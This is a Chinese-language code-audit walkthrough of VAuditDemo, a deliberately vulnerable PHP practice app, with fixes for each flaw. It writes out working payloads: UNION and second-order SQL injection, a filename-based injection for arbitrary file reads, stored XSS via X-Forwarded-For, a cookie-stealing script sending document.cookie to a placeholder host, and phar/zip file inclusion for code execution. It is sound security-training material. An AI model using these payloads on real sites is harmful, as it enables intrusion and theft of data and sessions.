VAuditDemo代码审计
简介
先提一嘴,代码审计流程大概可以归结为:把握大局,定向功能,敏感函数参数回溯。
本文也是按照此思路进行,还在最后增加了漏洞修补方法。
本人平时打打CTF也有接触过代码审计,但都是零零散散的知识点。希望借此机会全面提升自己的代码审计能力。共勉!
把握大局
首先看一下目录结构吧。
VAuditDemo
├── about.inc
├── admin //管理员目录及功能
│ ├── captcha.php
│ ├── delCom.php
│ ├── delUser.php
│ ├── index.php
│ ├── logCheck.php
│ ├── login.php
│ ├── manageAdmin.php
│ ├── manageCom.php
│ ├── manage.php
│ ├── manageUser.php
│ └── ping.php
├── css //样式文件存储目录
│ ├── bootstrap.css
│ ├── bootstrap.min.css
│ ├── bootswatch.less
│ ├── bootswatch.min.css
│ └── variables.less
├── footer.php //页首文件
├── header.php //页尾文件
├── images //图片文件存储目录
│ └── default.jpg
├── index.php //入口文件
├── install //安装文件目录
│ ├── install.php
│ └── install.sql
├── js //js文件目录
│ ├── bootstrap.min.js
│ ├── bootswatch.js
│ ├── bsa.js
│ └── check.js
├── messageDetail.php //留言详情文件
├── message.php //留言显示及提交文件
├── messageSub.php //留言提交处理文件
├── search.php //留言查找文件
├── sys //配置文件目录
│ ├── config.php
│ ├── install.lock
│ └── lib.php
├── uploads //文件上传目录
└── user //普通用户目录及功能
├── avatar.php
├── edit.php
├── logCheck.php
├── login.php
├── logout.php
├── regCheck.php
├── reg.php
├── updateAvatar.php
├── updateName.php
├── updatePass.php
└── user.php
总的来说,
1、user目录里大概就是普通用户可以使用的功能了。
2、admin目录大概就是要登陆admin账户才能使用的功能了。
3、sys目录包含一些配置文件还有放一些过滤函数的文件。
4、uploads目录为上传文件存放的目录
5、sess目录(自建)用来存放session文件
6、根目录下有index.php,再看看message*.php大概就是实现留言的文件,search.php顾名思义是查询文件。
这里大家可以自行继续跟一下比较敏感且重要的文件,比如:config.php, lib.php, regCheck.php等等,对所有代码有个大概整体的思路,以便于后续的有针对性地代码审计工作。
我自己也会继续跟,但在这里就不一一细讲了。
定向功能
1、安装功能信息泄露
漏洞所在:/install/install.php
很明显,这块header执行跳转,但是并没有终止代码的运行,所以可以看到部分敏感信息,抓个包试试。
当然,我们更想看到图形界面。那就截获返回的数据包,将状态码改成200,Location去掉即可显示到网页上。
要看密码很简单了,审查元素改为text就行,value里面也有。
## 2、留言详情数字型sql注入
`漏洞所在:messageDetail.php`
payload: 7 un||ion sele||ct *,2 fro||m admin#
这里解释下,sqlwaf里先将union转换成sqlwaf,再将||转换成空。所以我们依据他们的次序构造sql注入。
un||ion => union
这里SELECT * FROM comment WHERE comment_id = 7得到的结果是四列,而联合查询后面的sql得到的结果必须也是4列不然会报错,所以使用*,2多加一列。
至于这里为什么不用admin_username,原因是sqlwaf将下划线_转义成了_会导致注入失败。
## 3、修改用户名越权漏洞
`漏洞所在:updateName.php`
可以看到这里直接获取用户输入的用户名和id,并以此来进行更新,造成水平越权漏洞。
原来的用户名
将admin1的用户名改成hacker
成功越权修改
## 4、管理员命令执行
`漏洞所在:admin/ping.php`
很多管理员页面的功能都是如此,毫无过滤,这里也不例外,直接一把梭就行了
## 5、管理员登陆密码爆破
`漏洞所在:admin/login.php`
可以看到是从session中读取验证码,那么如果我们没有session呢?
可以看到,这里没有验证码也登陆成功了。所以就可以依据此思路爆破密码。
# 敏感函数参数回溯
## 1、任意文件读取
`漏洞所在:user/avater.php`
看到file_get_contents敏感函数,跟一下,看一下变量是否可控。
跟进user/updateAvatar.php
可以看到$_SESSION['avatar'] = $avatar,并且$avatar是可控。
一种思路:抓包改文件名为1∕..∕..∕sys∕config.php,但是这里php文件不能上传。
另一种思路:构造文件名,利用update改变数据库中的avatar,再重新登陆,这样$_SESSION['avatar']就会在数据库中读取被我们污染的$avatar。
执行的sql:UPDATE users SET user_avatar = 'xxxx',user_avatar = '../index.php' WHERE user_name = 'admin1'#.png
filename: ',user_avator = '../index.php' WHERE user_name = 'admin1'#.png
看到第二条,发现没有更改成功。但是还有办法,mysql支持十六进制,我们将user_avator改成十六进制即可。
filename: ',user_avatar = 0x2E2E2F696E6465782E706870 WHERE user_name = 'admin1'#.png
重新登陆一下,看看我们的session文件,成功修改了。
访问avatar.php查看源代码即可得到index.php源码
## 2、注册配合留言进行二次注入
`漏洞所在:user/reg.php + message.phpSub`
注册一个admin\用户,看看数据库的结果。
来分析一下
输入admin\的时候,被转译成admin\,然后经过clean_input的stripslashes编程admin\,在经过clean_input的mysql_real_escape_string又变成admin\,这是前面的\转义了后面的\,且不会写进数据库,所以现在我们的用户名在数据库中就是admin\。
竟然这样,很容易想到,如果读出用户名没有进行再次转移的话,可以造成单引号的转义,我们继续看。
我们知道$_SESSION['username']肯定是登陆后,从数据库读出的用户名,所以我们重新登陆一下。
regCheck.php
我们用户名变成admin\了,那么我们可以再找找有没有利用点,可以把单引号转义的那种。
看看messageSub.php,这里确实的'{$_SESSION['username']}',我们的用户名是admin\,那么得到的结果是'admin',可以将后面的单引号转义
验证一下。
payload:,(select @@datadir),now());#
没问题,转义了一个引号,执行了我们构造的sql语句,成功二次执行。
## 3、ip记录-xss
`漏洞所在:user/logCheck.php + admin/manageUser.php`
还记得我们在admin页面能看到什么吗?用户与评论。
那是否有xss呢?
我们先来看看评论查看页面,看到做了html实体编码,基本是没戏了。
再来看看用户信息查看页面,完全没有过滤。而且经过通读代码我们知道,login_ip我们是可以控制的,基本上是有戏了!
logCheck.php里获取IP的代码是:$ip = sqlwaf(get_client_ip());
这里的sqlwaf完全没有过滤特殊标签的,所以是可以实现xss的。
登陆admin1的时候用x-forwarded-for来伪造ip,得到如下payload
x-forwarded-for: <script>alert(1);</script>
可以看到弹窗了,并且admin1的ip是空的。
常规思路打cookie,当然这里没有
<script>document.write("<img src=http://xxxx?tk="+document.cookie+" />");</script>
再看看能不能csrf添加管理员发现也不可行,因为sqlwaf过滤了or,而表单需要用到form。
## 4、phar协议文件包含
`漏洞所在:index.php`
这里限制了后缀为.inc,但是并没有对module参数进行限制,所以我们能用zip协议或者phar协议来绕过.inc后缀限制执行php代码。
主要步骤:
1.新建一个A1oe.inc,文件内容为 <?php phpinfo();?>。
2.压缩该文件,并该文件名为A1oe.jpg (因为只能上传图片文件)。
3.找到Date时间,并转换为时间戳,得到文件名u_1584257982_A1oe.jpg。 (具体解释看后面)
4.使用zip或者phar伪协议读取文件,执行php代码。
?module=zip://uploads/u_1584257982_A1oe.jpg%23A1oe 或者
?module=phar://uploads/u_1584257982_A1oe.jpg/A1oe
成功看到phpinfo页面。
拓展:
文件命规则是:$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
我们很容易可以得到Date(上传时打开浏览器的network查看),从而得到文件名。要做的就是将Date转换成时间戳。
echo strtotime('2020-03-15 15:39:42'); //1584257982
zip和phar伪协议宝包含文件参考:https://blog.csdn.net/Fly_hps/article/details/86609730
## 多说一句
依据你的php版本还有中间件(版本)的不同,漏洞数量和利用方式可能会有所不同。
比如我这里用的是php5.4.5是不存在%00截断漏洞的。
所以玩这个demo的时候,可以调整调整环境来玩,我这里只是抛砖引玉,希望大家自己能玩的开心。
# 漏洞修复
## 1、安装问题
```
//install/install.php
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
header( "Location: ../index.php" );
die(); //修复,退出当前脚本,这样就不会执行接下来的代码
}
```
看下结果
![](https://img2020.cnblogs.com/blog/1959623/202003/1959623-20200315214110021-1019140680.png)
## 2、留言详情sql注入
```
//messageDetail.php
$str = str_ireplace( "&&", "sqlwaf", $str ); //替换成sqlwaf,不要替换成空字符
$str = str_ireplace( "||", "sqlwaf", $str );
$str = str_ireplace( "'", "sqlwaf", $str );
```
## 3、越权漏洞
```
//user/updateName.php改变id获取方式
$clean_user_id = clean_input($_POST['id']); 改为
$clean_user_id = $_SESSION['user_id']; //从session文件中读取user_id
```
## 4、命令执行
```
//admin/ping.php加上简单的waf
$target = trim($target);
$waf = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
'%' => '',
'{' => '',
'}' => '',
' '',
'>' => '',
'=' => '',
'/' => '',
'\\' => '',
'?' => '',
'*' => '',
);
$target = str_replace( array_keys( $waf ), $waf, $target );
```
## 5、验证码绕过
```
//同时判断session中是否有验证码即可
if(!empty($_SESSION['captcha']) && (@$_POST['captcha'] !== $_SESSION['captcha'])){
header('Location: login.php');
exit;
}
```
## 6、任意文件读取
```
//从过滤文件名入手
$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
$avatar = sqlwaf($avatar); //直接走一遍sqlwaf
//更简单点把单引号过滤掉,避免执行用户自己构造的sql语句
```
## 7、二次注入
```
//写进session文件时,也要处理从数据库读出的文件
$_SESSION['username'] = clean_input($row['user_name']);
$_SESSION['avatar'] = clean($row['user_avatar']);
//转义反斜杠,避免单引号被转义
```
## 8、XSS
```
//输出ip的时候,同样做html编码
$html_login_ip = htmlspecialchars($users['login_ip']);
echo $html_login_ip;
```
## 9、文件包含
感觉这个功能删除掉,问题好像也不大嘛。
```
//如果实在要保留这个功能,简单的过滤下关键字和关键字符把
if (isset($_GET['module'])){
$module = str_replace(array(":","%",";","phar","zip"), " ", $str);
include($_GET['module'].'.inc');
}
```
VAuditDemo代码审计的更多相关文章
- 代码审计VauditDemo程序到exp编写
要对一个程序做系统的审计工作,很多人都认为代码审计工作是在我们将CMS安装好之后才开始的,其实不然,在安装的时候审计就已经开始了! 一般安装文件为install.php或install/或includ ...
- 【代码审计】VAuditDemo 前台搜索功能反射型XSS
在 search.php中 $_GET['search']未经过任何过滤就被输出 可能存在反射型XSS
- 【代码审计】VAuditDemo 前台搜索注入
在search.php中 $_GET['search']未经过任何过滤传入到$query的执行语句中
- 【代码审计】VAuditDemo 后台登录功能验证码绕过
在 admin/logCheck.php中 $_POST['user']和$_POST['pass'] 未经过任何过滤或者编码处理就传入到$query中,可能存在万能密码绕过机制 但是$pass经过了 ...
- 【代码审计】VAuditDemo 文件包含漏洞
在 index.php中先判断get过来的module是否设置了变量,如果已经设置,则包含module,并与字符串.inc拼接 inc格式一般是图标或者头像格式,因此我们可以初步判断,这个包含应该是基 ...
- 【代码审计】VAuditDemo SQL注入漏洞
这里我们定位 sqlwaf函数 在sys/lib.php中,过滤了很多关键字,但是42 43 44行可以替换为空 比如我们可以 uni||on来绕过过滤
- 【代码审计】VAuditDemo 重装漏洞
一.源码安装漏洞介绍 一般在PHP源码程序都有一个初始安装的功能,如果相关代码没有对参数进行严格过滤,可能会导致攻击者访问安装页面(install.php)或构造数据包,对网站进行重新安装,从而危害网 ...
- 【代码审计】VAuditDemo 命令注入漏洞
一般PHP中可以使用下列函数来执行外部的应用程序或命令 system() exec() passthru() shell_exec() 跟踪$cmd --> 跟进$target,发现传递给tar ...
- PHP代码审计中你不知道的牛叉技术点
一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...
随机推荐
- 《深入理解 Java 虚拟机》读书笔记:虚拟机字节码执行引擎
正文 执行引擎是 Java 虚拟机最核心的组成部分之一.在不同的虚拟机实现里,执行引擎在执行 Java 代码时可能会有解释执行(通过解释器执行)和编译执行(通过即时编译器产生本地代码执行)两种选择,也 ...
- Docker极简部署Kafka+Zookeeper+ElasticStack
之前写ELK部分时有朋友问有没有能一键部署的Kafka+ELK,写本文主要是填这个坑,基本上配置已经集中在一两个文件中了,理论上此配置支持ElasticStack 7.x所有版本 本文所有配置与代码均 ...
- 【Weiss】【第03章】练习3.16:删除相同元素
[练习3.16] 假设我们有一个基于数组的表A[0,1...N-1],并且我们想删除所有相同的元素. LastPosition初始值为N-1,但应该随着相同元素被删除而变得越来越小. 考虑图3-61中 ...
- Minio 集群扩容存储空间,配合nginx 负载反向代理后端minio 集群服务器,提升高可用性
环境:Centos 7 软件:minio,Etcd 需求:通过联盟两个集群实例,实现水平扩容存储空间问题: 服务器使用阿里云,一共4台服务器(官方说明最好4台服务器做分布式,测试节省服务器所以我们使 ...
- 利用JDBC工具类添加和查询数据-Java(新手)
JDBC工具类: 1 package cn.lxr.jdbclx; 2 3 import java.sql.*; 4 5 public class JDBCUtils { 6 private stat ...
- Uniapp使用GoEasy实现websocket实时通讯
Uniapp作为近来最火的移动端开发技术,一套代码,可以打包成Android/iOS app和各种平台的小程序,可谓是没有最方便只有更方便. GoEasy上架DCloud Uniapp插件市场已经有一 ...
- 循序渐进地聊一聊 box-shaow
影子在现实生活中可以是一个物体的副本,在 CSS 中也是这样的,相当于复制了那个元素(并不是真正的元素,对页面布局没有任何影响),可以从下面的代码中看出来. .container { width: 1 ...
- 洛谷1074 靶状数独dfs 排序、记录、搜索
题目网址:https://www.luogu.com.cn/problem/P1074 大意就是在一个9*9的数独中填数,要求行列宫都是九个互不相同的数字,给定一定的得分机制,要求求解最大得分.思路大 ...
- [线段树]Codeforces 339D Xenia and Bit Operations
Xenia and Bit Operations time limit per test 2 seconds memory limit per test 256 megabytes input sta ...
- bluekeep漏洞(CVE-2019-0708)利用
前言 上个月爆出exp的一个高危漏洞,跟风复现一下下...( ̄▽ ̄)~* 简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系 ...